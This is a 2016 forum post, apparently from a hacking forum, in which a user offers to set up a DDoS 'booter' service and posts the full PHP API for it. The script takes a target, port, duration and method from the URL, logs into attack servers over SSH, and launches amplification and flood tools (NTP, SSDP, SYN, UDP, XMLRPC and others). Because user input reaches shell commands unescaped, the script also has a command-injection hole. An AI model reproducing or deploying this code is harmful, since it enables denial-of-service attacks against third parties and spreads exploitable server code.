Jul 8, 2016 08:27 AM
(This post was last modified: Jul 8, 2016 09:26 AM by AYDN.)
I'm offering to setup/help setup a working api on anyones servers that wants it, or just hook you up with the commands and the php api script which includes a working stop button
I know I have neg rep... i'm trying man :(
If you want some help PM me your skype and I will hit you up
API
I know I have neg rep... i'm trying man :(
If you want some help PM me your skype and I will hit you up
API
PHP Code
<?php
$servers = array(
array('server ip', array('root', 'password here')),
);
class ssh2
{
var $connection;
function __construct($host, $user, $pass) {
if (!$this->connection = ssh2_connect($host, 22))
echo "Error connecting to server";
if (!ssh2_auth_password($this->connection, $user, $pass))
echo "Error with login credentials";
}
function exec($cmd) {
if (!ssh2_exec($this->connection, $cmd))
echo "Error executing command: $cmd";
ssh2_exec($this->connection, 'exit');
unset($this->connection);
return true;
}
}
class API
{
private $get;
public $message = "None";
private $server;
public $isL7 = false;
public function __construct(array $server)
{
$this->server = $server;
$this->get = (object) $_GET;
}
public function start()
{
if($this->validate()) {
$this->doBoot();
}
return $this->message;
}
private function validate()
{
if (!filter_var($this->get->host, FILTER_VALIDATE_IP)) {
if(!filter_var($this->get->host, FILTER_VALIDATE_URL)) {
$this->message = "Invalid IP/URL";
return false;
}
$this->isL7 = true;
}
if (!intval($this->get->port) >= 1) {
$this->message = "Invalid Port";
return false;
}
if (!intval($this->get->time) >= 1) {
$this->message = "Invalid Time";
return false;
}
return true;
}
private function doBoot()
{
//screen assigned name
$smIP = escapeshellarg(str_replace(".", "", $this->get->host));
//$this->get->host = escapeshellarg($this->get->host);
switch(strtoupper($this->get->method)) {
case 'JOOMLA':
//Any L7 Methods need this if statement before, otherwise a L7 could attack an IP (wouldn't want that.)
if($this->isL7==true) {
$command = "screen -dmS Test ./joomla03 {$this->get->host} j.txt {$this->get->time} 512";
}
$this->message = 'JOOMLA attack sent';
break;
case 'NTP':
$command = "screen -dmS {$smIP} ./ntp {$this->get->host} {$this->get->port} ntp.txt 1 -1 {$this->get->time}";
$this->message = 'NTP attack sent';
break;
case 'SSDP':
$command = "screen -dmS {$smIP} ./ssdp {$this->get->host} {$this->get->port} ssdp.txt 15 {$this->get->time}";
$this->message = 'SSDP attack sent';
break;
case 'TCP':
$command = "screen -dmS {$smIP} ./tcp {$this->get->host} {$this->get->port} 80 25 -1 {$this->get->time}";
$this->message = 'TCP attack sent';
break;
case 'UDP':
$command = "screen -dmS {$smIP} perl ./udp.pl {$this->get->host} {$this->get->port} 65500 {$this->get->time}";
$this->message = 'UDP attack sent';
break;
case 'XSYN':
$command = "screen -dmS {$smIP} ./xsyn {$this->get->host} {$this->get->port} 1 -1 {$this->get->time}";
$this->message = 'XSYN attack sent';
break;
case 'SSYN':
$command = "screen -dmS {$smIP} ./ssyn {$this->get->host} {$this->get->port} {$this->get->time}";
$this->message = 'SSYN attack sent';
break;
case 'XMLRPC':
$command = "screen -dmS {$smIP} ./xmlrpc {$this->get->host} xmlrpc.txt {$this->get->time} 1000";
$this->message = 'XMLRPC attack sent';
break;
case 'DOMINATE':
$command = "screen -dmS {$smIP} ./dominate {$this->get->host} {$this->get->port} 20 -1 {$this->get->time}";
$this->message = 'DOMINATE attack sent';
break;
case "STOP":
$command = "screen -X -s {$smIP} quit";
$this->message = "Attack Stopped";
break;
default:
$this->message = "Invalid Method";
break;
}
if(!empty($command)) {
$ssh = new ssh2($this->server[0], $this->server[1][0], $this->server[1][1]);
if(!$ssh->exec($command)) {
$this->message = 'Error executing attack on server.';
}
}
return $this->message;
}
}
//Check SSH2 Function
if (!function_exists('ssh2_connect'))
{
die("Install the php ssh2 module.\n");
}
$attack = new API(array($servers[0][0], $servers[0][1]));
$attack->start();
echo $attack->message;
//Nothing is outputting in shell? nope
//usage: api.php?host=HOST&port=PORT&time=TIME&method=METHOD

